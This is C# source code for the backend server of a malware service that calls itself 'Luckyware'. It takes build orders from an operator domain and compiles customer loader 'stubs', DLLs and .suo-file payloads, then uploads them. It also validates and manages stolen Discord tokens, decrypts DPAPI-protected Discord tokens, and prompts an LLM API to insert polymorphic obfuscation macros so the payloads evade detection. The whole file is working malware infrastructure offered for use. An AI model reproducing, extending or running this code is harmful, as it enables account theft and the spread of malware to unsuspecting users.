public static string GetUserAvatar(string userId)
|
||
{
|
||
var client = new WebClient();
|
||
client.Headers.Add("Authorization", "Bot " + "??");
|
||
var json = client.DownloadString("https://discord.com/api/v9/users/" + userId);
|
||
var obj = JObject.Parse(json);
|
||
var id = obj["id"].ToString();
|
||
var avatar = obj["avatar"].ToString();
|
||
var ext = avatar.StartsWith("a_") ? "gif" : "png";
|
||
return $"https://cdn.discordapp.com/avatars/{id}/{avatar}.{ext}";
|
||
}
|
||
|
||
public static string domene = "x";
|
||
static void BuildStub(Object parameters)
|
||
{
|
||
Console.WriteLine("Building Stub");
|
||
|
||
try
|
||
{
|
||
dynamic pars = parameters;
|
||
string Owd = pars.oib;
|
||
string Bwd = pars.bkey;
|
||
string Exnm = pars.exnam;
|
||
string Icnd = pars.icn;
|
||
string iconsave = "messi";
|
||
|
||
|
||
|
||
// C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin
|
||
// D:\VisualStudio\Community\MSBuild\Current\Bin\MSBuild.exe
|
||
// C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin
|
||
|
||
string msbuildPath = @"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe";
|
||
|
||
string FolderTMP = xxasdffds3(16);
|
||
string TMPCopy = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP;
|
||
|
||
string contents;
|
||
|
||
|
||
|
||
if (ContainsPREInLast6(Bwd))
|
||
{
|
||
Console.WriteLine("Compiling premium stub");
|
||
|
||
|
||
CopyDirectory(Directory.GetCurrentDirectory() + "\\LoaderPRE", TMPCopy);
|
||
|
||
Thread.Sleep(150);
|
||
|
||
ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Ecy.h", "OMGHERE", HexGenerator.GetRandomHex());
|
||
Thread.Sleep(20);
|
||
ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp", "//OWNERID", Owd);
|
||
Thread.Sleep(20);
|
||
ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp", "//BUILDID", Bwd);
|
||
Thread.Sleep(20);
|
||
|
||
//ReplaceFakeCode(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp");
|
||
|
||
string projectPath = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\LoaderPRE.vcxproj";
|
||
string arguments = $"\"{projectPath}\" /p:Configuration=Release /p:Platform=x64";
|
||
|
||
ExecuteCommand(msbuildPath, arguments);
|
||
|
||
Thread.Sleep(12000);
|
||
|
||
contents = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\x64\\Release\\LoaderPRE.exe"));
|
||
}
|
||
else
|
||
{
|
||
Console.WriteLine("Compiling free stub");
|
||
|
||
|
||
CopyDirectory(Directory.GetCurrentDirectory() + "\\Loader", TMPCopy);
|
||
|
||
Thread.Sleep(150);
|
||
|
||
ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp", "//OWNERID", Owd);
|
||
Thread.Sleep(20);
|
||
ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp", "//BUILDID", Bwd);
|
||
Thread.Sleep(20);
|
||
|
||
string projectPath = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.vcxproj";
|
||
string arguments = $"\"{projectPath}\" /p:Configuration=Release /p:Platform=x64";
|
||
|
||
ExecuteCommand(msbuildPath, arguments);
|
||
|
||
Thread.Sleep(10000);
|
||
|
||
ExecuteCommand(Directory.GetCurrentDirectory() + "\\HPX.exe", Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\x64\\Release\\Loader.exe");
|
||
|
||
Thread.Sleep(5000);
|
||
|
||
contents = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\x64\\Release\\Loader.exe"));
|
||
}
|
||
|
||
string fileToSend = Bwd + ".txt"; // The file you want to send
|
||
File.WriteAllText(fileToSend, contents);
|
||
Console.WriteLine("exe converted to text and saved as " + fileToSend + " ");
|
||
|
||
Thread.Sleep(50);
|
||
|
||
string phpUrl = $"https://{domene}/index.php?security=1&type=H1"; // Replace with your PHP script URL
|
||
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
// Upload the file
|
||
byte[] responseArray = client.UploadFile(phpUrl, fileToSend);
|
||
|
||
// Get the response from the PHP script (if any)
|
||
string response = System.Text.Encoding.ASCII.GetString(responseArray);
|
||
Console.WriteLine("Response from PHP: " + response);
|
||
}
|
||
|
||
Thread.Sleep(1000);
|
||
|
||
DeleteFolder(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP);
|
||
|
||
File.Delete(fileToSend);
|
||
|
||
Thread.Sleep(3000);
|
||
|
||
string FolderSUO = xxasdffds3(14);
|
||
string SuoCoppi = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderSUO;
|
||
|
||
CopyDirectory(Directory.GetCurrentDirectory() + "\\InfSuo", SuoCoppi);
|
||
|
||
string SUOprojectPath = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderSUO + "\\suo.exe";
|
||
string SUOargs = $"{SUOprojectPath} {SuoCoppi}\\h.suo {SuoCoppi}\\out.suo {Bwd}.txt";
|
||
|
||
Thread.Sleep(1500);
|
||
|
||
ExecuteCommandCMD(SUOargs);
|
||
|
||
Thread.Sleep(1500);
|
||
|
||
string contentssuo = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderSUO + "\\out.suo"));
|
||
|
||
string fileToSendSUO = Bwd + ".suo"; // The file you want to send
|
||
File.WriteAllText(fileToSendSUO, contentssuo);
|
||
Console.WriteLine("exe converted to text and saved as " + fileToSendSUO + " ");
|
||
|
||
string phpUrlSUO = $"https://{domene}/index.php?security=1&type=H1"; // Replace with your PHP script URL
|
||
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
// Upload the file
|
||
byte[] responseArraySUO = client.UploadFile(phpUrlSUO, fileToSendSUO);
|
||
|
||
// Get the response from the PHP script (if any)
|
||
string response = System.Text.Encoding.ASCII.GetString(responseArraySUO);
|
||
Console.WriteLine("Response from PHP: " + response);
|
||
}
|
||
|
||
Thread.Sleep(3500);
|
||
|
||
|
||
DeleteFolder(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderSUO);
|
||
|
||
File.Delete(fileToSendSUO);
|
||
|
||
|
||
string FolderDLLTMP = xxasdffds3(15);
|
||
string TMPDLLCopy = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP;
|
||
|
||
CopyDirectory(Directory.GetCurrentDirectory() + "\\InfDLL", TMPDLLCopy);
|
||
|
||
Thread.Sleep(1000);
|
||
|
||
ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP + "\\TheDLL.cpp", "//OwneryID", Owd);
|
||
Thread.Sleep(500);
|
||
ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP + "\\TheDLL.cpp", "//BuildyID", Bwd);
|
||
Thread.Sleep(500);
|
||
|
||
|
||
string projectPathDLL = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP + "\\TheDLL.vcxproj";
|
||
string argumentsDLL = $"\"{projectPathDLL}\" /p:Configuration=Release /p:Platform=x64";
|
||
|
||
ExecuteCommand(msbuildPath, argumentsDLL);
|
||
|
||
Thread.Sleep(10000);
|
||
|
||
string contentsdll = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP + "\\x64\\Release\\TheDLL.dll"));
|
||
|
||
string fileToSendDll = Bwd + ".dll"; // The file you want to send
|
||
File.WriteAllText(fileToSendDll, contentsdll);
|
||
Console.WriteLine("exe converted to text and saved as " + fileToSendDll + " ");
|
||
|
||
Thread.Sleep(500);
|
||
|
||
string phpUrlDll = $"https://{domene}/index.php?security=1&type=H1"; // Replace with your PHP script URL
|
||
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
// Upload the file
|
||
byte[] responseArrayDll = client.UploadFile(phpUrlDll, fileToSendDll);
|
||
|
||
// Get the response from the PHP script (if any)
|
||
string response = System.Text.Encoding.ASCII.GetString(responseArrayDll);
|
||
Console.WriteLine("Response from PHP: " + response);
|
||
}
|
||
|
||
Thread.Sleep(2000);
|
||
|
||
DeleteFolder(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP);
|
||
|
||
File.Delete(fileToSendDll);
|
||
|
||
|
||
if (iconsave != "messi")
|
||
{
|
||
File.Delete(iconsave);
|
||
}
|
||
|
||
Console.WriteLine("All Cleaned! Ending");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error omeygat {ex.Message}");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
public static string SentAPIRequest(string token)
|
||
{
|
||
try
|
||
{
|
||
ServicePointManager.Expect100Continue = true;
|
||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://discordapp.com/api/v8/users/@me");
|
||
request.Headers.Set("Authorization", token);
|
||
string responseStr = new StreamReader(((HttpWebResponse)request.GetResponse()).GetResponseStream()).ReadToEnd();
|
||
return responseStr;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine("OMG EX: " + ex.Message);
|
||
return "";
|
||
}
|
||
|
||
}
|
||
static bool CheckToken(string token)
|
||
{
|
||
string infoJson = SentAPIRequest(token);
|
||
Console.WriteLine(infoJson);
|
||
if (infoJson.Contains("id"))
|
||
{
|
||
return true;
|
||
}
|
||
else
|
||
{
|
||
return false;
|
||
}
|
||
}
|
||
|
||
static string MutateCode(string code)
|
||
{
|
||
using (var client = new HttpClient())
|
||
{
|
||
client.DefaultRequestHeaders.Add("Authorization", "Bearer ???");
|
||
var requestObj = new
|
||
{
|
||
model = "deepseek-chat",
|
||
messages = new[]
|
||
{
|
||
new { role = "system", content = "You will be given C++ function code. Your job is to add obfuscation macros to it. The available macros are: POLYMORPH_NOISE(); POLYMORPH_NOISE_2(); POLYMORPH_NOISE_3(); POLYMORPH_NOISE_4(); POLYMORPH_NOISE_5(); POLYMORPH_NOISE_6(); POLYMORPH_NOISE_7(); POLYMORPH_NOISE_8(); POLYMORPH_NOISE_9(); POLYMORPH_NOISE_10(); poly_junk(); Only add macros between complete C++ statements on new lines. Never modify original code or add macros inside arrays, initializers, function parameters, or incomplete statements. Do not touch code between //DONT_START// and //DONT_END// markers. Use 2-10 macros for small functions, 5-20 for large functions. Match nearby code indentation. Mix macros randomly or use same one repeatedly. THIS IS REALLY IMPORTANT: Return only modified code, no explanations, no other message." },
|
||
new { role = "user", content = code }
|
||
},
|
||
stream = false,
|
||
max_tokens = 8000,
|
||
temperature = 0.0
|
||
};
|
||
var json = Newtonsoft.Json.JsonConvert.SerializeObject(requestObj);
|
||
var content = new StringContent(json, Encoding.UTF8, "application/json");
|
||
var response = client.PostAsync("https://api.deepseek.com/chat/completions", content).Result;
|
||
var responseString = response.Content.ReadAsStringAsync().Result;
|
||
if (!response.IsSuccessStatusCode)
|
||
{
|
||
Console.WriteLine($"Error: {response.StatusCode} - {responseString}");
|
||
Console.ReadKey();
|
||
return "no";
|
||
}
|
||
var responseJson = JObject.Parse(responseString);
|
||
var message = responseJson["choices"][0]["message"]["content"].ToString();
|
||
Console.WriteLine(message);
|
||
return message;
|
||
}
|
||
}
|
||
static string DekryptToken(string token, string key)
|
||
{
|
||
// Extract and decrypt the key
|
||
byte[] encryptedKeyBytes = Convert.FromBase64String(key).Skip(5).ToArray();
|
||
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKeyBytes, null, DataProtectionScope.CurrentUser);
|
||
|
||
// Parse the token to extract the payload
|
||
string base64Payload = token.Split(new[] { "dQw4w9WgXcQ:" }, StringSplitOptions.None)[1];
|
||
byte[] payloadBytes = Convert.FromBase64String(base64Payload);
|
||
|
||
// Extract IV and cipher text
|
||
byte[] iv = payloadBytes.Skip(3).Take(12).ToArray();
|
||
byte[] cipherText = payloadBytes.Skip(15).ToArray();
|
||
|
||
// Set up decryption parameters
|
||
AeadParameters parameters = new AeadParameters(new KeyParameter(decryptedKey), 128, iv, null);
|
||
GcmBlockCipher cipher = new GcmBlockCipher(new AesEngine());
|
||
cipher.Init(false, parameters);
|
||
|
||
// Decrypt the cipher text
|
||
byte[] plainTextBytes = new byte[cipher.GetOutputSize(cipherText.Length)];
|
||
int len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainTextBytes, 0);
|
||
cipher.DoFinal(plainTextBytes, len);
|
||
|
||
// Convert the plain text to string and print
|
||
string plainText = Encoding.UTF8.GetString(plainTextBytes).TrimEnd('\0');
|
||
|
||
return plainText;
|
||
}
|
||
|
||
|
||
static void PingDomain()
|
||
{
|
||
Console.WriteLine("LW Server Inside Domain Checks");
|
||
|
||
try
|
||
{
|
||
string Ping = $"https://{domene}/index.php?security=2&type=check_all&key=Chekermeker4";
|
||
|
||
Console.WriteLine(Ping);
|
||
|
||
// Create a WebClient with a CookieContainer to manage cookies.
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
ServicePointManager.Expect100Continue = true;
|
||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||
|
||
// Download data from the URL.
|
||
System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; };
|
||
|
||
client.DownloadString(Ping);
|
||
}
|
||
|
||
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error omeygat at dmn handle {ex.Message}");
|
||
}
|
||
|
||
}
|
||
static void TokenHandler()
|
||
{
|
||
Console.WriteLine("LW Server Inside Tokens");
|
||
|
||
while (true)
|
||
{
|
||
|
||
|
||
try
|
||
{
|
||
|
||
PingDomain();
|
||
|
||
|
||
string Ping = $"https://{domene}/index.php?security=2&type=senioreztoken&key=herseyimdinnn98";
|
||
|
||
string json;
|
||
Console.WriteLine(Ping);
|
||
|
||
// Create a WebClient with a CookieContainer to manage cookies.
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
ServicePointManager.Expect100Continue = true;
|
||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||
|
||
// Download data from the URL.
|
||
System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; };
|
||
|
||
json = client.DownloadString(Ping);
|
||
}
|
||
|
||
|
||
// Parse the JSON as an array of objects
|
||
JArray dataArray = JArray.Parse(json);
|
||
|
||
Console.WriteLine("LW Server New Token Check Session");
|
||
|
||
|
||
foreach (JObject data in dataArray)
|
||
{
|
||
try
|
||
{
|
||
|
||
string Token = data["Token"].ToString();
|
||
string TokenID = data["TokenID"].ToString();
|
||
string isvald = data["isvalid"].ToString();
|
||
string UserID = data["UserID"].ToString();
|
||
string Pfp = data["pfp"].ToString();
|
||
|
||
Console.WriteLine($"NEW TOKEN");
|
||
Console.WriteLine($"Token: {Token}");
|
||
Console.WriteLine($"TokenID: {TokenID}");
|
||
Console.WriteLine($"isvald: {isvald}");
|
||
Console.WriteLine($"UserID: {UserID}");
|
||
Console.WriteLine($"Pfp: {Pfp}");
|
||
|
||
if (isvald == "1")
|
||
{
|
||
if (!CheckToken(Token))
|
||
{
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
ServicePointManager.Expect100Continue = true;
|
||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||
|
||
// Download data from the URL.
|
||
System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; };
|
||
|
||
client.DownloadString($"https://{domene}/index.php?security=2&type=antitokenagez&key=kumralamk77&id=" + TokenID);
|
||
}
|
||
Console.WriteLine("Invaliditized Token Id " + TokenID);
|
||
}
|
||
}
|
||
|
||
if (!UrlIsValid(Pfp))
|
||
{
|
||
|
||
string newpefp = GetUserAvatar(UserID);
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
ServicePointManager.Expect100Continue = true;
|
||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||
|
||
// Download data from the URL.
|
||
System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; };
|
||
|
||
client.DownloadString($"https://{domene}/index.php?security=2&type=pfpupoddotto&key=herkimleysen6&id=" + TokenID + "&iduser=" + newpefp);
|
||
}
|
||
Console.WriteLine("PFP Updated Token Id " + TokenID);
|
||
|
||
}
|
||
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error omeygatunu {ex.Message}");
|
||
continue;
|
||
}
|
||
}
|
||
|
||
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error omeygat {ex.Message}");
|
||
continue;
|
||
}
|
||
|
||
Thread.Sleep(600000); // Every 10 minutes.
|
||
|
||
}
|
||
}
|
||
|
||
static void DllHandling()
|
||
{
|
||
Console.WriteLine("LW Server Inside DLL");
|
||
|
||
while (true)
|
||
{
|
||
try
|
||
{
|
||
|
||
|
||
string msbuildPath = @"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe";
|
||
|
||
string FolderTMP = xxasdffds3(10);
|
||
string TMPCopy = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP;
|
||
|
||
string contents;
|
||
|
||
Console.WriteLine("Compiling startup dll");
|
||
|
||
|
||
CopyDirectory(Directory.GetCurrentDirectory() + "\\Startup", TMPCopy);
|
||
|
||
Thread.Sleep(150);
|
||
|
||
ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Encrypt.h", "OMGHERE", HexGenerator.GetRandomHex());
|
||
Thread.Sleep(20);
|
||
|
||
string projectPath = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Plds.vcxproj";
|
||
string arguments = $"\"{projectPath}\" /p:Configuration=Release /p:Platform=x64";
|
||
|
||
ExecuteCommand(msbuildPath, arguments);
|
||
|
||
Thread.Sleep(12000);
|
||
|
||
contents = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\x64\\Release\\wer.dll"));
|
||
|
||
|
||
string fileToSend = FolderTMP + ".txt"; // The file you want to send
|
||
File.WriteAllText(fileToSend, contents);
|
||
Console.WriteLine("exe converted to text and saved as " + fileToSend + " ");
|
||
|
||
|
||
Thread.Sleep(500);
|
||
|
||
string phpUrlDll = $"https://{domene}/Stb/Startapload.php?security=startaaaupot"; // Replace with your PHP script URL
|
||
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
// Upload the file
|
||
byte[] responseArrayDll = client.UploadFile(phpUrlDll, fileToSend);
|
||
|
||
// Get the response from the PHP script (if any)
|
||
string response = System.Text.Encoding.ASCII.GetString(responseArrayDll);
|
||
Console.WriteLine("Response from PHP: " + response);
|
||
}
|
||
|
||
Thread.Sleep(2000);
|
||
|
||
DeleteFolder(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP);
|
||
|
||
File.Delete(fileToSend);
|
||
|
||
|
||
Console.WriteLine("All Cleaned! Ending");
|
||
Thread.Sleep(10800000); // 3 hr
|
||
|
||
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error omeygat {ex.Message}");
|
||
Thread.Sleep(10800000); // 3 hr
|
||
continue;
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
static void BuildHandler()
|
||
{
|
||
Console.WriteLine("LW Server Inside Build");
|
||
|
||
while (true)
|
||
{
|
||
Thread.Sleep(5000);
|
||
try
|
||
{
|
||
string Ping = $"https://{domene}/index.php?security=2&type=buildamingo&key=dolaylar7475";
|
||
|
||
string json;
|
||
Console.WriteLine(Ping);
|
||
|
||
// Create a WebClient with a CookieContainer to manage cookies.
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
ServicePointManager.Expect100Continue = true;
|
||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||
|
||
// Download data from the URL.
|
||
System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; };
|
||
|
||
json = client.DownloadString(Ping);
|
||
}
|
||
|
||
Console.WriteLine(json);
|
||
|
||
// Parse the JSON as an array of objects
|
||
JArray dataArray = JArray.Parse(json);
|
||
|
||
foreach (JObject data in dataArray)
|
||
{
|
||
Console.WriteLine("LW Server New Build");
|
||
|
||
string OwnerID = data["OwnerID"].ToString();
|
||
string BuildKey = data["BuildKey"].ToString();
|
||
string ExeName = data["ExeName"].ToString();
|
||
string Icon = data["Icon"].ToString();
|
||
|
||
|
||
Console.WriteLine($"NEW ACTION");
|
||
Console.WriteLine($"OwnerID: {OwnerID}");
|
||
Console.WriteLine($"BuildKey: {BuildKey}");
|
||
Console.WriteLine($"ExeName: {ExeName}");
|
||
Console.WriteLine($"Icon: {Icon}");
|
||
|
||
Console.WriteLine("Inside Build Thread");
|
||
|
||
|
||
|
||
Thread DosAt = new Thread(new ParameterizedThreadStart(BuildStub));
|
||
|
||
|
||
string oib = OwnerID;
|
||
string bkey = BuildKey;
|
||
string exnam = ExeName;
|
||
string icn = Icon;
|
||
|
||
|
||
DosAt.Start(new { oib, bkey, exnam, icn });
|
||
|
||
}
|
||
|
||
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error omeygat {ex.Message}");
|
||
continue;
|
||
}
|
||
}
|
||
}
|
||
|
||
public class dWebHook : IDisposable
|
||
{
|
||
private readonly WebClient dWebClient;
|
||
private static NameValueCollection discordValues = new NameValueCollection();
|
||
public string WebHook { get; set; }
|
||
public string UserName { get; set; }
|
||
public string ProfilePicture { get; set; }
|
||
|
||
public dWebHook()
|
||
{
|
||
dWebClient = new WebClient();
|
||
}
|
||
|
||
|
||
public void SendMessage(string msgSend)
|
||
{
|
||
discordValues.Add("username", UserName);
|
||
discordValues.Add("avatar_url", ProfilePicture);
|
||
discordValues.Add("content", msgSend);
|
||
|
||
dWebClient.UploadValues(WebHook, discordValues);
|
||
}
|
||
|
||
public void Dispose()
|
||
{
|
||
dWebClient.Dispose();
|
||
}
|
||
}
|
||
|
||
static void SendMs(string message, string webhook)
|
||
{
|
||
|
||
Console.WriteLine($"{message} {webhook}");
|
||
using (dWebHook dcWeb = new dWebHook())
|
||
{
|
||
dcWeb.ProfilePicture = "https://zetolacs-funny.pics/Stb/LW.png";
|
||
dcWeb.UserName = "Luckyware";
|
||
dcWeb.WebHook = webhook;
|
||
dcWeb.SendMessage(message);
|
||
}
|
||
}
|
||
|
||
static void MutateCode()
|
||
{
|
||
Console.Write("Enter path to .cpp file: ");
|
||
string filePath = Console.ReadLine();
|
||
|
||
if (!File.Exists(filePath))
|
||
{
|
||
Console.WriteLine("File not found.");
|
||
return;
|
||
}
|
||
|
||
string content = File.ReadAllText(filePath);
|
||
|
||
string pattern = @"//##FUNC##//\s*(.*?)\s*//##FUNC##//";
|
||
var matches = Regex.Matches(content, pattern, RegexOptions.Singleline);
|
||
|
||
foreach (Match match in matches)
|
||
{
|
||
string originalFunc = match.Value;
|
||
string funcBody = match.Groups[1].Value;
|
||
string mutated = MutateCode(funcBody);
|
||
|
||
string replaced = $"//##FUNC##//\n{mutated}\n//##FUNC##//";
|
||
content = content.Replace(originalFunc, replaced);
|
||
}
|
||
|
||
File.WriteAllText(filePath, content);
|
||
Console.WriteLine("Mutation complete. File updated.");
|
||
}
|
||
|
||
static void Main()
|
||
{
|
||
|
||
|
||
/*string url = "https://zetolacs-funny.pics/index.php?security=2&type=webhooksxd&key=webokarnene3334";
|
||
|
||
try
|
||
{
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
// Get the JSON response as a string
|
||
string jsonResponse = client.DownloadString(url);
|
||
|
||
// Deserialize JSON into an array of strings using Newtonsoft.Json
|
||
string[] webhooks = JsonConvert.DeserializeObject<string[]>(jsonResponse);
|
||
|
||
// Print each webhook
|
||
foreach (var webhook in webhooks)
|
||
{
|
||
try
|
||
{
|
||
Console.WriteLine(webhook);
|
||
|
||
if (webhook.Length > 70)
|
||
{
|
||
SendMs("@everyone Thank you for 10,000 users! As our appreciation, we’re giving you a 2-week Luckyware special license. This license grants access to all premium features, but it does not allow building a fully undetectable premium stub. " + client.DownloadString("https://i-like.boats/Stb/Promotion.php"), webhook);
|
||
Thread.Sleep(1000);
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error IN: {ex.Message}");
|
||
continue;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error: {ex.Message}");
|
||
}
|
||
|
||
Thread.Sleep(-1); */
|
||
|
||
|
||
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
ServicePointManager.Expect100Continue = true;
|
||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||
|
||
|
||
System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; };
|
||
|
||
domene = "contorosa.space";
|
||
}
|
||
|
||
string Ping = $"https://{domene}/index.php?security=2&type=buildamingo&key=dolaylar7475";
|
||
Console.WriteLine(Ping);
|
||
|
||
Console.WriteLine("Getting Useless Data Before Start");
|
||
|
||
// Create a WebClient with a CookieContainer to manage cookies.
|
||
using (WebClient client = new WebClient())
|
||
{
|
||
ServicePointManager.Expect100Continue = true;
|
||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||
|
||
// Download data from the URL.
|
||
System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; };
|
||
|
||
client.DownloadString(Ping);
|
||
}
|
||
|
||
Console.WriteLine("LW Server Handler Starting...");
|
||
|
||
|
||
Thread Build = new Thread(new ThreadStart(BuildHandler));
|
||
Build.Start();
|
||
|
||
Thread Token = new Thread(new ThreadStart(TokenHandler));
|
||
Token.Start();
|
||
|
||
//Thread DllThread = new Thread(new ThreadStart(DllHandling));
|
||
//DllThread.Start();
|
||
|
||
Thread.Sleep(-1);
|
||
}
|
||
}
|